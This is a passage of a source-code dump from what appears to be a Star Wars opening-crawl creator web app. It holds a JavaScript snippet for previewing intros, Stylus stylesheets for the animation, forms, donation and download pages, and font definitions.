15 | release: '0e4fdef81448dcfa0e16ecc4433ff3997aa53572-render',
16 | });
17 |
18 | const setCSSVariable = (variableName, value) => {
19 | document.documentElement.style.setProperty(variableName, value);
20 | };
21 |
22 | window.playIntro = (opening) => {
23 | ViewController.playOpening(opening);
24 | document.querySelector('html').classList.remove('not-ready');
25 | };
26 |
27 | window.previewIntro = async ({ key = 'BLz2gfYtRmFeXOjF6FH1', timeFactor = 1, section }) => {
28 | setCSSVariable('--time-factor', timeFactor);
29 |
30 | if (section === 'logo') {
31 | setCSSVariable('--intro-background-duration', '0s');
32 | setCSSVariable('--intro-text-duration', '0s');
33 | setCSSVariable('--intro-text-delay', '0s');
34 | setCSSVariable('--intro-logo-delay', '0s');
35 | } else if (section === 'ending') {
36 | setCSSVariable('--intro-background-duration', '0s');
37 | setCSSVariable('--intro-text-duration', '0s');
38 | setCSSVariable('--intro-text-delay', '0s');
39 | setCSSVariable('--intro-logo-duration', '0s');
40 | setCSSVariable('--intro-logo-delay', '0s');
41 | setCSSVariable('--intro-crawl-duration', '0s');
42 | setCSSVariable('--intro-crawl-delay', '0s');
43 | setCSSVariable('--intro-ending-duration', '0s');
44 | setCSSVariable('--intro-ending-delay', '0s');
45 | }
46 |
47 | const opening = await loadOpening(key);
48 | if (opening) {
49 | window.playIntro(opening);
50 | }
51 | };
52 |
53 | window.turnOnAudio = () => {
54 | AudioController.audio = audio;
55 | };
56 |
--------------------------------------------------------------------------------
/src/styles/Loader.styl:
--------------------------------------------------------------------------------
1 | .loader__container {
2 | display: flex;
3 | flex-direction: column;
4 | align-items: center;
5 | margin-top: 60px;
6 | }
7 |
8 | .loader,
9 | .loader:after {
10 | width: 10em;
11 | height: 10em;
12 | border-radius: 50%;
13 | }
14 |
15 | .loader {
16 | position: relative;
17 | border-top: 1em solid $inputBorderColorHover;
18 | border-right: 1em solid $inputBorderColorHover;
19 | border-bottom: 1em solid $inputBorderColorHover;
20 | border-left: 1em solid $titlesColor;
21 | -webkit-transform: translateZ(0);
22 | -ms-transform: translateZ(0);
23 | transform: translateZ(0);
24 | -webkit-animation: load8 1.1s infinite linear;
25 | animation: load8 1.1s infinite linear;
26 | }
27 | @-webkit-keyframes load8 {
28 | 0% {
29 | -webkit-transform: rotate(0deg);
30 | transform: rotate(0deg);
31 | }
32 | 100% {
33 | -webkit-transform: rotate(360deg);
34 | transform: rotate(360deg);
35 | }
36 | }
37 | @keyframes load8 {
38 | 0% {
39 | -webkit-transform: rotate(0deg);
40 | transform: rotate(0deg);
41 | }
42 | 100% {
43 | -webkit-transform: rotate(360deg);
44 | transform: rotate(360deg);
45 | }
46 | }
47 |
--------------------------------------------------------------------------------
/src/styles/animation.styl:
--------------------------------------------------------------------------------
1 | .starwarsAnimation {
2 | display: none;
3 | letter-spacing: .15em;
4 | font-weight: 700;
5 | font-size: 1em;
6 | font-family: 'News Cycle', sans-serif;
7 | line-height: normal;
8 | font-variant-ligatures: none;
9 |
10 | #wtm {
11 | @media screen and (min-width: 1920px) and (max-width: 1920px) {
12 | right: 25px !important;
13 | }
14 |
15 | @media screen and (min-width: 1366px) and (max-width: 1366px) {
16 | right: 25px !important;
17 | }
18 |
19 | @media screen and (min-width: 1280px) and (max-width: 1280px) {
20 | right: 25px !important;
21 | }
22 |
23 | @media mobile {
24 | bottom: 600px !important;
25 | width: 45vw !important;
26 | }
27 | }
28 |
29 | // intro text
30 | .introBackground {
31 | position: absolute;
32 | top: 0;
33 | left: 0;
34 | display: flex;
35 | align-items: center;
36 | justify-content: center;
37 | width: 100vw;
38 | height: 100vh;
39 | background-color: black;
40 | opacity: 0;
41 | animation: introBackgroundAnimation var(--intro-background-duration);
42 |
43 | .intro {
44 | padding-right: 5%;
45 | padding-left: 5%;
46 | color: $introColor;
47 | font-weight: 400;
48 | font-size: 4.5vw;
49 | opacity: 0;
50 | transform: scaleX(1.1);
51 | animation: introTextAnimation var(--intro-text-duration) ease-out var(--intro-text-delay);
52 | }
53 | }
54 |
55 | #logo {
56 | position: static;
57 | text-align: center;
58 | font-family: StarWars;
59 |
60 | margin: 0 auto;
61 | opacity: 0;
62 | animation: logoAnimation var(--intro-logo-duration) cubic-bezier(.11, .6, .48, .88) var(--intro-logo-delay);
63 |
64 | &.-firefox-desktop {
65 | transform: scale(2.2);
66 | }
67 |
68 | .logoSub {
69 | width: 100vw;
70 | }
71 |
72 | .logoText {
73 | display: flex;
74 | flex-direction: column;
75 | align-items: center;
76 | color: black;
77 | text-shadow: stroke(5, $titlesColor);
78 | letter-spacing: .18em;
79 | font-size: 200px;
80 | line-height: 1em;
81 |
82 | div {
83 | white-space: nowrap;
84 | }
85 | }
86 | }
87 |
88 | // titles animation
89 | #titles {
90 | $titles-width = 14.65em;
91 |
92 | position: absolute;
93 | top: auto;
94 | bottom: 0;
95 | left: 50%;
96 | overflow: hidden;
97 | margin: 0 0 0 (- $titles-width / 2);
98 | width: $titles-width;
99 | height: 50em;
100 | text-align: justify;
101 | word-wrap: break-word;
102 | font-size: 350%;
103 | transform-origin: 50% 100%;
104 | transform: perspective(300px) rotateX(25deg);
105 |
106 | @media mobile {
107 | bottom: 33%;
108 | left: 52.5%;
109 | }
110 |
111 | @media screen and (min-width: 1920px) and (max-width: 1920px) {
112 | zoom: 1.9;
113 | transform: perspective(266px) rotateX(29deg) scaleX(1.2);
114 | -moz-transform: perspective(300px) rotateX(19deg) scale(2.3);
115 | }
116 |
117 | @media screen and (min-width: 1366px) and (max-width: 1366px) {
118 | zoom: 1.6;
119 | transform: perspective(216px) rotateX(26deg);
120 | -moz-transform: perspective(300px) rotateX(26deg) scale(1.6);
121 | }
122 |
123 | @media screen and (min-width: 1280px) and (max-width: 1280px) {
124 | zoom: 1.5;
125 | transform: perspective(216px) rotateX(26deg);
126 | -moz-transform: perspective(300px) rotateX(26deg) scale(1.5);
127 | }
128 |
129 | > div {
130 | position: absolute;
131 | top: 100%;
132 | width: 100%;
133 | animation: titlesAnimation var(--intro-crawl-duration) linear var(--intro-crawl-delay) forwards;
134 |
135 | > p {
136 | margin: 1.35em 0 1.85em 0;
137 | line-height: 1.35em;
138 |
139 | backface-visibility: hidden;
140 | }
141 |
142 | .tcenter {
143 | margin: 1.35em 0 -1em 0;
144 | text-align: center;
145 | }
146 | }
147 |
148 | #title {
149 | transform: scaleY(2);
150 | margin-top: 3.5em;
151 | margin-bottom: 1.6em;
152 | text-transform: uppercase;
153 |
154 | &.SWFont {
155 | margin-top: 1.35em;
156 | margin-bottom: -.1em;
157 | transform: scaleY(1);
158 | font-weight: normal;
159 | font-size: 210%;
160 | font-family: StarWarsTitle;
161 | text-transform: lowercase;
162 | }
163 | }
164 |
165 | #episode {
166 | margin-bottom: -2em;
167 | }
168 |
169 | #text {
170 | // line-height: 1.5em; // old version
171 | line-height: 1.4em;
172 |
173 | p {
174 | margin: 1em 0;
175 | }
176 | }
177 | }
178 |
179 | // end animation to deathstar
180 | #backgroundSpace {
181 | position: absolute;
182 | top: 0;
183 | left: 0;
184 | width: 100%;
185 | height: 4100px;
186 | background: url('https://kassellabs.us-east-1.linodeobjects.com/static-assets/star-wars/bg-stars.png') repeat;
187 |
188 | #deathstar {
189 | position: absolute;
190 | right: 100px;
191 | bottom: 1150px;
192 | width: 655px;
193 |
194 | &.centerCustom { // not used, but can be for customizations
195 | right: 0;
196 | left: 0;
197 | margin: auto;
198 | }
199 | }
200 | }
201 |
202 | .playing-buttons {
203 | position: fixed;
204 | bottom: 0;
205 | background-color: $panelBackgroundColor;
206 | width: 100%;
207 | display: flex;
208 | justify-content: center;
209 | align-items: center;
210 | padding: 10px;
211 | transition: opacity 0.5s ease;
212 |
213 | @media mobile {
214 | padding: 20px;
215 | flex-direction: column;
216 | }
217 |
218 | > .playing-button {
219 | @extend $actionButtonStyle;
220 | font-size: 30px;
221 | border-width: 2px;
222 |
223 | &:not(:last-child) {
224 | margin-right: 10px;
225 |
226 | @media mobile {
227 | margin-right: 0;
228 | margin-bottom: 20px;
229 | }
230 | }
231 |
232 | &:focus, &:hover {
233 | box-shadow: -1px 1px 4px $greenShadow, 1px -1px 4px $greenShadow, inset -3px -2px 4px $greenShadow, inset 2px 3px 4px $greenShadow;
234 | text-shadow: -1px 1px 4px $greenShadow, 1px -1px 4px $greenShadow;
235 | }
236 |
237 | @media mobile {
238 | padding: 12px 30px 30px;
239 | border-width: 8px;
240 | border-radius: 30px;
241 | font-size: 100px;
242 | }
243 | }
244 |
245 | .help-button {
246 | position: absolute;
247 | right: 3em;
248 | text-decoration: none;
249 |
250 | > .icon {
251 | color: $titlesColor;
252 | border: 3px solid currentcolor;
253 | border-radius: 100%;
254 | display: block;
255 | font-weight: bold;
256 | font-size: 20px;
257 | width: 20px;
258 | height: 20px;
259 | padding: 4px;
260 | padding-left: 5px
261 | cursor: pointer;
262 | text-align: center;
263 | font-family: Arial, sans-serif;
264 |
265 | @media mobile {
266 | font-size: 60px;
267 | border-width: 6px;
268 | padding: 4px;
269 | width: 60px;
270 | height: 60px;
271 | }
272 | }
273 | }
274 | }
275 | }
276 |
277 | // background scroll at the end
278 | body.runningVideo {
279 | overflow: hidden;
280 |
281 | .starwarsAnimation {
282 | display: initial;
283 | }
284 |
285 | #backgroundSpace {
286 | animation: scrolldown var(--intro-ending-duration) var(--intro-ending-delay) forwards;
287 | }
288 | }
289 |
290 | @keyframes introTextAnimation {
291 | 0% {
292 | opacity: 0;
293 | }
294 | 20% {
295 | opacity: 1;
296 | }
297 | 90% {
298 | opacity: 1;
299 | }
300 | 100% {
301 | opacity: 0;
302 | }
303 | }
304 |
305 | @keyframes introBackgroundAnimation {
306 | 0% {
307 | opacity: 1;
308 | }
309 | 100% {
310 | opacity: 1;
311 | }
312 | }
313 |
314 | @keyframes logoAnimation {
315 | 0% {
316 | transform: scale(2.2);
317 | opacity: 1;
318 | }
319 | 95% {
320 | opacity: 1;
321 | }
322 | 100% {
323 | transform: scale(.01);
324 | opacity: 0;
325 | }
326 | }
327 |
328 | @keyframes titlesAnimation {
329 | 0% {
330 | top: 100%;
331 | opacity: 1;
332 | }
333 | 95% {
334 | opacity: 1;
335 | }
336 | 100% {
337 | top: 20%;
338 | opacity: 0;
339 | }
340 | }
341 |
342 | @keyframes scrolldown {
343 | 0% {
344 | transform: translateY(0);
345 | }
346 | 100% {
347 | transform: translateY(-2200px);
348 | }
349 | }
350 |
--------------------------------------------------------------------------------
/src/styles/bodyStates.styl:
--------------------------------------------------------------------------------
1 | hideAllPages() {
2 |
3 | #configForm {
4 | display: none;
5 | }
6 |
7 | footer {
8 | display: none;
9 | }
10 | }
11 |
12 | body.loading {
13 | hideAllPages();
14 |
15 | #bb8-loading {
16 | display: block;
17 | punchItBB8();
18 | }
19 | }
20 |
21 | body.requestInteraction {
22 | hideAllPages();
23 |
24 | #requestInteractionButton {
25 | display: flex;
26 | }
27 | }
28 |
29 | body.runningVideo {
30 | hideAllPages();
31 | overflow: hidden;
32 |
33 | #configForm {
34 | display: flex;
35 | > form {
36 | display: none;
37 | }
38 |
39 | > .may-fourth-alert {
40 | display: none;
41 | }
42 | }
43 |
44 | &.showForm {
45 | overflow-y: auto;
46 | #configForm > form {
47 | display: flex;
48 | fadeIn();
49 | }
50 |
51 | #deathstar {
52 | fadeOut(4s, 2s);
53 | }
54 |
55 | footer {
56 | display: block;
57 | fadeIn();
58 | }
59 |
60 | .playing-buttons {
61 | opacity: 0;
62 | }
63 | }
64 | }
65 |
66 | body.downloadPage {
67 | hideAllPages();
68 |
69 | footer {
70 | display: block;
71 | }
72 |
73 | #downloadPage {
74 | display: flex;
75 | }
76 | }
--------------------------------------------------------------------------------
/src/styles/checkForDonation.styl:
--------------------------------------------------------------------------------
1 | $checkingBackgroundColor = #171717;
2 | $verifiedBackgroundColor = alpha($titlesColor, .2);
3 | $notFoundBackgroundColor = $errorRed;
4 |
5 | .check-for-donation {
6 | display: flex;
7 | flex-direction: column;
8 | align-items: center;
9 | }
10 |
11 | .check-for-donation__card {
12 | display: flex;
13 | flex-direction: column;
14 | align-items: center;
15 | padding: 1em 2em;
16 | border-radius: 10px;
17 | background-color: $checkingBackgroundColor;
18 |
19 | b {
20 | margin-top: 1em;
21 | text-align: center;
22 | }
23 | }
24 |
25 | .check-for-donation__card--verified {
26 | background-color: $verifiedBackgroundColor;
27 | }
28 |
29 | .check-for-donation__card--not-found {
30 | .check-for-donation__icon {
31 | width: 40px;
32 | height: 40px;
33 | border-radius: 100%;
34 | background-color: $notFoundBackgroundColor;
35 | color: white;
36 | line-height: 40px;
37 | }
38 | }
39 |
40 | .check-for-donation__icon {
41 | display: inline-block;
42 | padding: 18px;
43 | font-size: 60px;
44 | }
45 |
46 | .check-for-donation__spinner {
47 | display: inline-block;
48 | width: 56px;
49 | height: 56px;
50 | }
51 |
52 | .check-for-donation__spinner:after {
53 | display: block;
54 | margin: 1px;
55 | width: 46px;
56 | height: 46px;
57 | border: 5px solid $titlesColor;
58 | border-color: $titlesColor transparent $titlesColor transparent;
59 | border-radius: 50%;
60 | content: ' ';
61 | animation: check-spinner 1.2s linear infinite;
62 | }
63 |
64 | @keyframes check-spinner {
65 | 0% {
66 | transform: rotate(0deg);
67 | }
68 | 100% {
69 | transform: rotate(360deg);
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/src/styles/configForm.styl:
--------------------------------------------------------------------------------
1 | $greenShadow = #45f500;
2 |
3 | $inputBorderColor = alpha($titlesColor, .2);
4 | $inputBorderColorHover = alpha($titlesColor, .5);
5 | $inputBorderColorFocus = $titlesColor;
6 |
7 | inputStyle() {
8 |
9 | $inputBorder = 3px solid $inputBorderColor;
10 |
11 | padding: .3em;
12 | outline: 0;
13 | border: $inputBorder;
14 | border-radius: 3px;
15 | background-color: $formBackgroundColor;
16 | transition: border-color .3s ease-out;
17 |
18 | @media mobile {
19 | border-width: 6px;
20 | border-radius: 6px;
21 | }
22 |
23 | &:hover{
24 | border-color: $inputBorderColorHover;
25 | }
26 |
27 | &:active, &:focus {
28 | border-color: $inputBorderColorFocus;
29 | }
30 | }
31 |
32 | fontSizeResponsive($normalSize = 18px, $mobileSize = 28px) {
33 | font-size: $normalSize;
34 |
35 | @media mobile {
36 | font-size: $mobileSize;
37 | }
38 | }
39 |
40 | $marginTopFormInput = 20px;
41 | $formInputWidth = 97%;
42 |
43 |
44 | $actionButtonStyle {
45 | starWarsFontStyle();
46 | padding: 6px 15px 15px;
47 | outline: 0;
48 | border: 4px solid $titlesColor;
49 | border-radius: 15px;
50 |
51 | background: transparent;
52 | text-shadow: none;
53 | font-size: 50px;
54 | cursor: pointer;
55 | transition: box-shadow .3s ease-out, text-shadow .3s ease-out;
56 |
57 | &:focus, &:hover {
58 | box-shadow: -1px 1px 8px $greenShadow, 1px -1px 8px $greenShadow, inset -3px -2px 8px $greenShadow, inset 2px 3px 8px $greenShadow;
59 | text-shadow: -1px 1px 8px $greenShadow, 1px -1px 8px $greenShadow;
60 | }
61 |
62 | @media mobile {
63 | padding: 12px 30px 30px;
64 | border-width: 8px;
65 | border-radius: 30px;
66 | font-size: 100px;
67 | }
68 | }
69 |
70 | // Used in the logo input and in the animation
71 | // Stroke font-character
72 | // @param {Integer} $stroke - Stroke width
73 | // @param {Color} $color - Stroke color
74 | // @return {List} - text-shadow list
75 | stroke($stroke, $color) {
76 | $shadow = ();
77 | $from = $stroke * -1;
78 | $range = ($from)..($stroke);
79 | for $i in $range {
80 | for $j in $range {
81 | append($shadow, ($i)px ($j)px 0 $color);
82 | append($shadow, \,);
83 | }
84 | }
85 | pop($shadow);
86 | $shadow;
87 | }
88 |
89 | #configForm {
90 | display: flex;
91 | padding-top: 16px;
92 | padding-bottom: 80px;
93 | justify-content: center;
94 | color: $titlesColor;
95 |
96 | @media mobile {
97 | padding-top: 70px;
98 | }
99 |
100 | .help-text {
101 | text-align: center;
102 |
103 | @media mobile {
104 | font-size: 2em;
105 | line-height: 1.2em;
106 | }
107 | }
108 |
109 | .may-fourth-alert {
110 | font-weight: bold;
111 | border: 2px solid $panelTextColor;
112 | border-radius: 16px;
113 | background-color: $panelBackgroundColor;
114 | padding: 1em;
115 | display: flex;
116 | align-items: center;
117 | margin-bottom: 1em;
118 |
119 | @media mobile {
120 | font-size: 2em;
121 | line-height: 1.2em;
122 | }
123 |
124 | .close-button {
125 | buttonStyle();
126 | margin-left: 12px;
127 | margin-right: 0;
128 | padding: 2px 8px 6px;
129 | font-size: 1.5em;
130 | line-height: 24px;
131 | background: transparent;
132 | color: $titlesColor;
133 |
134 | @media mobile {
135 | margin-left: 12px;
136 | margin-top: 0;
137 | margin-right: 0;
138 | padding: 24px 14px 32px;
139 | width: auto;
140 | font-size: 2em;
141 | line-height: 13px;
142 | }
143 | }
144 | }
145 |
146 | form {
147 | z-index: 1;
148 | display: flex;
149 | flex-direction: column;
150 | align-items: center;
151 | width: 650px;
152 | font-family: $defaultFontFamily;
153 |
154 | @media mobile {
155 | width: 800px;
156 | }
157 |
158 | input, textarea {
159 | overflow-x: hidden;
160 | margin-top: $marginTopFormInput;
161 | margin-bottom: 0;
162 | width: $formInputWidth;
163 | color: $titlesColor;
164 | word-break: break-word;
165 | letter-spacing: .05em;
166 | fontSizeResponsive();
167 |
168 | inputStyle();
169 | }
170 |
171 | textarea {
172 | resize: none;
173 |
174 | f-logo {
175 | width: "calc(%s - 22px)" % ($formInputWidth);
176 | height: 92px;
177 | color: black;
178 | text-shadow: stroke(2, $titlesColor);
179 | font-size: 50px;
180 | font-family: StarWars;
181 | line-height: 86%;
182 | caret-color: $titlesColor; // partial support https://caniuse.com/#search=caret-color
183 | letter-spacing: initial;
184 |
185 | @media mobile {
186 | height: 190px;
187 | width: $formInputWidth;
188 | padding: 20px 8.4px;
189 | font-size: 100px;
190 | text-shadow: stroke(4, $titlesColor);
191 | }
192 | }
193 | }
194 |
195 | #playButton {
196 | @extend $actionButtonStyle;
197 | z-index: 10;
198 | margin-top: 35px;
199 | }
200 |
201 | #playButtonSpan {
202 | margin-top: 20px;
203 | fontSizeResponsive(18px, 32px);
204 | }
205 |
206 | #downloadButton {
207 | @extend $actionButtonStyle;
208 |
209 | display: none;
210 | margin-bottom: 10px;
211 | font-size: 60px;
212 | animation: pulseDownloadButton 3s ease 0s infinite;
213 |
214 | &:focus, &:hover {
215 | text-shadow: -1px 1px 93px $greenShadow, 1px -1px 23px $greenShadow;
216 | animation: none;
217 | }
218 |
219 | &.show {
220 | display: block;
221 | }
222 |
223 | @media mobile {
224 | font-size: 120px;
225 | }
226 | }
227 |
228 | #f-intro {
229 | padding: 6px 79px;
230 | width: 480px;
231 | color: $introColor;
232 | @media mobile {
233 | padding: 6px;
234 | width: $formInputWidth;
235 | }
236 | }
237 |
238 | #f-text {
239 | height: 200px;
240 |
241 | @media mobile {
242 | height 400px;
243 | }
244 | }
245 |
246 | #f-logo, #f-title, #f-episode {
247 | text-align: center;
248 | }
249 |
250 | .center-checkbox {
251 | margin-top: $marginTopFormInput;
252 | font-family: Arial;
253 | user-select: none;
254 |
255 | label {
256 | display: inline;
257 | margin-left: 6px;
258 | vertical-align: middle;
259 | cursor: pointer;
260 | fontSizeResponsive();
261 |
262 | @media mobile {
263 | margin-left: 15px;
264 | }
265 | }
266 |
267 | .regular-checkbox {
268 | display: block;
269 | margin-top: 0;
270 | opacity: 0;
271 |
272 | &:hover {
273 | &+label {
274 | border-color: $inputBorderColorHover;
275 | }
276 | }
277 |
278 | &:focus {
279 | &+label {
280 | border-color: $inputBorderColorFocus;
281 | }
282 | }
283 |
284 | &+label {
285 | inputStyle();
286 | display: inline-block;
287 | width: 9px;
288 | height: 9px;
289 |
290 | @media mobile {
291 | width: 18px;
292 | height: 18px;
293 | }
294 | }
295 |
296 | &:checked + label:after {
297 | position: relative;
298 | top: -7px;
299 | color: $titlesColor;
300 | content: '\25A0';
301 | letter-spacing: 0;
302 | cursor: pointer;
303 | fontSizeResponsive();
304 |
305 | @media mobile {
306 | top: -8px;
307 | }
308 | }
309 | }
310 | }
311 | }
312 | }
313 |
314 | @keyframes pulseDownloadButton {
315 | 0%{
316 | text-shadow: none;
317 | }
318 |
319 | 40%{
320 | text-shadow: -1px 1px 93px $greenShadow, 1px -1px 23px $greenShadow;
321 | }
322 |
323 | 60%{
324 | text-shadow: -1px 1px 93px $greenShadow, 1px -1px 23px $greenShadow;
325 | }
326 |
327 | 100%{
328 | text-shadow: none;
329 | }
330 | }
--------------------------------------------------------------------------------
/src/styles/donation_after.styl:
--------------------------------------------------------------------------------
1 | #donation_after {
2 | @extend #downloadPage;
3 | display: flex;
4 |
5 | .panel {
6 | @media mobile {
7 | align-items: initial;
8 | }
9 | }
10 |
11 | img {
12 | width: 100%;
13 | height: auto;
14 | }
15 |
16 | p {
17 | text-align: center;
18 | }
19 |
20 | .button {
21 | buttonStyle();
22 | margin-top: 20px;
23 | text-decoration: none;
24 |
25 | @media mobile {
26 | width: auto;
27 | }
28 | }
29 |
30 | a {
31 | @media mobile {
32 | font-size: 2em;
33 | text-align: center;
34 | }
35 | }
36 | }
--------------------------------------------------------------------------------
/src/styles/downloadPage.styl:
--------------------------------------------------------------------------------
1 | #downloadPage {
2 | display: none;
3 | flex-direction: column;
4 | justify-content: center;
5 | align-items: center;
6 | margin-top: 1em;
7 | font-size: 18px;
8 | font-family: $defaultFontFamily;
9 |
10 | @media mobile {
11 | .pageTitle {
12 | margin-top: 50px;
13 | }
14 | }
15 |
16 | .panel {
17 | z-index: 0;
18 | display: flex;
19 | flex-direction: column;
20 | align-items: center;
21 | margin-bottom: 50px;
22 | padding: 10px 50px 35px;
23 | max-width: 800px;
24 | width: 60%;
25 | border: 2px solid $panelTextColor;
26 | border-radius: 3px;
27 | background-color: $panelBackgroundColor;
28 | letter-spacing: .05em;
29 |
30 | @media mobile {
31 | max-width: 1000px;
32 | width: 80%;
33 | border-width: 4px;
34 | border-radius: 10px;
35 |
36 | iframe {
37 | margin: 10% 25%;
38 | width: 50%;
39 | transform: scale(2);
40 | }
41 |
42 | iframe.stripe {
43 | margin: 42% 25%;
44 | }
45 | }
46 |
47 | h2 {
48 | starWarsFontStyle();
49 | text-align: center;
50 | }
51 |
52 | a {
53 | color: $titlesColor;
54 | }
55 |
56 | button {
57 | buttonStyle();
58 | }
59 |
60 | p.email {
61 | text-align: center;
62 | font-weight: bold;
63 | }
64 |
65 | .center {
66 | display: flex;
67 | justify-content: center;
68 | }
69 |
70 | #closeButton {
71 | position: absolute;
72 | align-self: flex-end;
73 | margin-left: 39px;
74 | padding: 2px 6px 6px;
75 | font-size: 2em;
76 | line-height: 24px;
77 |
78 | @media mobile {
79 | margin: 20px;
80 | padding: 14px;
81 | width: auto;
82 | font-size: 2em;
83 | line-height: 13px;
84 | }
85 | }
86 |
87 | p {
88 | @media mobile {
89 | font-size: 2em;
90 | line-height: 1.2em;
91 |
92 | * {
93 | font-size: inherit;
94 | }
95 | }
96 | }
97 |
98 | #downloadVideoButton {
99 | buttonStyle();
100 | margin: 20px 0;
101 | text-decoration: none;
102 | font-size: 1.3em;
103 | }
104 | }
105 |
106 | .image-preview-container {
107 | position: relative;
108 | border: 2px solid $panelTextColor;
109 | border-radius: 3px;
110 | width: 80%;
111 | aspect-ratio: 16 / 9;
112 | overflow: hidden;
113 |
114 | @media mobile {
115 | max-width: 800px;
116 | width: 75%;
117 | }
118 | }
119 | }
120 |
121 | .donateOrNotDonateButtons {
122 | display: flex;
123 | justify-content: center;
124 |
125 | @media mobile {
126 | flex-direction: column;
127 | align-items: center;
128 |
129 | button {
130 | flex: 1;
131 | }
132 | }
133 | }
134 |
135 | .termsOfServiceAcceptance {
136 | a {
137 | font-weight: bold;
138 | }
139 | }
140 |
141 | .contactButton {
142 | font-weight: bold;
143 | }
144 |
145 | #emailRequestField {
146 | form {
147 | display: flex;
148 | flex-direction: column;
149 | align-items: center;
150 |
151 | input {
152 | inputStyle();
153 | margin-top: 20px;
154 | margin-bottom: 20px;
155 | width: 80%;
156 | color: $titlesColor;
157 | font-size: 1.2em;
158 |
159 | @media mobile {
160 | width: 100%;
161 | font-size: 2.4em;
162 | }
163 | }
164 |
165 | .checkbox {
166 | font-family: Arial;
167 | user-select: none;
168 | margin-bottom: 1em;
169 |
170 | label {
171 | display: inline;
172 | margin-left: 6px;
173 | vertical-align: middle;
174 | cursor: pointer;
175 | fontSizeResponsive();
176 |
177 | @media mobile {
178 | margin-left: 15px;
179 | }
180 | }
181 |
182 | .regular-checkbox {
183 | display: block;
184 | height: 0;
185 | margin: 0;
186 | opacity: 0;
187 |
188 | &:hover {
189 | &+label {
190 | border-color: $inputBorderColorHover;
191 | }
192 | }
193 |
194 | &:focus {
195 | &+label {
196 | border-color: $inputBorderColorFocus;
197 | }
198 | }
199 |
200 | &+label {
201 | inputStyle();
202 | display: inline-block;
203 | width: 9px;
204 | height: 9px;
205 |
206 | @media mobile {
207 | width: 18px;
208 | height: 18px;
209 | }
210 | }
211 |
212 | &:checked + label:after {
213 | position: relative;
214 | top: -7px;
215 | color: $titlesColor;
216 | content: '\25A0';
217 | letter-spacing: 0;
218 | cursor: pointer;
219 | fontSizeResponsive();
220 |
221 | @media mobile {
222 | top: -8px;
223 | }
224 | }
225 | }
226 | }
227 | }
228 | }
229 |
230 | #stripeDonateIframe {
231 | height: 507px;
232 | width: 100%;
233 |
234 | @media (max-width: 1000px) {
235 | height: 693px;
236 | }
237 | }
238 |
239 | .payment-container {
240 | position: relative;
241 |
242 | .center {
243 | position: absolute;
244 | z-index: -10;
245 | width: 100%;
246 | }
247 | }
248 |
--------------------------------------------------------------------------------
/src/styles/fonts/NewsCycleFont.css:
--------------------------------------------------------------------------------
1 | /* @import url(https://fonts.googleapis.com/css?family=News+Cycle:400,700); */
2 |
3 | /* latin-ext */
4 | @font-face {
5 | font-family: 'News Cycle';
6 | font-style: normal;
7 | font-weight: 400;
8 | src: url(https://fonts.gstatic.com/s/newscycle/v14/CSR64z1Qlv-GDxkbKVQ_fO4KTet_.woff2) format('woff2');
9 | unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
10 | }
11 | /* latin */
12 | @font-face {
13 | font-family: 'News Cycle';
14 | font-style: normal;
15 | font-weight: 400;
16 | src: url(https://fonts.gstatic.com/s/newscycle/v14/CSR64z1Qlv-GDxkbKVQ_fOAKTQ.woff2) format('woff2');
17 | unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
18 | }
19 | /* latin-ext */
20 | @font-face {
21 | font-family: 'News Cycle';
22 | font-style: normal;
23 | font-weight: 700;
24 | src: url(https://fonts.gstatic.com/s/newscycle/v14/CSR54z1Qlv-GDxkbKVQ_dFsvWNpeudwk.woff2) format('woff2');
25 | unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
26 | }
27 | /* latin */
28 | @font-face {
29 | font-family: 'News Cycle';
30 | font-style: normal;
31 | font-weight: 700;
32 | src: url(https://fonts.gstatic.com/s/newscycle/v14/CSR54z1Qlv-GDxkbKVQ_dFsvWNReuQ.woff2) format('woff2');
33 | unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
34 | }
--------------------------------------------------------------------------------
/src/styles/fonts/SWCrawlTitle3.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/src/styles/fonts/SWCrawlTitle3.ttf
--------------------------------------------------------------------------------
/src/styles/fonts/SWCrawlTitle_original.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/src/styles/fonts/SWCrawlTitle_original.ttf
--------------------------------------------------------------------------------
/src/styles/fonts/Starjedi.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/src/styles/fonts/Starjedi.ttf
--------------------------------------------------------------------------------
/src/styles/footer.styl:
--------------------------------------------------------------------------------
1 | $footerCreditsColor = alpha($titlesColor, .8);
2 |
3 | mobileFooter() {
4 | @media mobile {
5 | transform: scale(2);
6 | margin: 10% 25%;
7 | width: 50%;
8 | }
9 | }
10 |
11 | footer {
12 | font-family: $defaultFontFamily;
13 |
14 | .kasselLogo {
15 | position: absolute;
16 | top: 0;
17 | color: $footerCreditsColor;
18 | font-size: .9em;
19 |
20 | a {
21 | text-decoration: none;
22 | }
23 |
24 | img {
25 | padding: 16px;
26 | height: 20px;
27 |
28 | @media mobile {
29 | height: 40px;
30 | }
31 | }
32 |
33 | @media mobile {
34 | width: 100%;
35 | text-align: center;
36 | }
37 | }
38 |
39 | .socialButtons {
40 | display: flex;
41 | flex-direction: column;
42 | mobileFooter();
43 |
44 | position: fixed;
45 | bottom: 1em;
46 | left: 1em;
47 | z-index: 10;
48 |
49 | div {
50 | margin-bottom: .5em;
51 |
52 | &:last-of-type{
53 | margin-bottom: 0;
54 | }
55 | }
56 |
57 | .social-pages {
58 | margin-bottom: 10px;
59 |
60 | > a {
61 | margin-right: 10px;
62 | fill: $titlesColor;
63 |
64 | &:hover {
65 | fill: lighten($titlesColor, 30);
66 | }
67 | }
68 |
69 | svg {
70 | width: 40px;
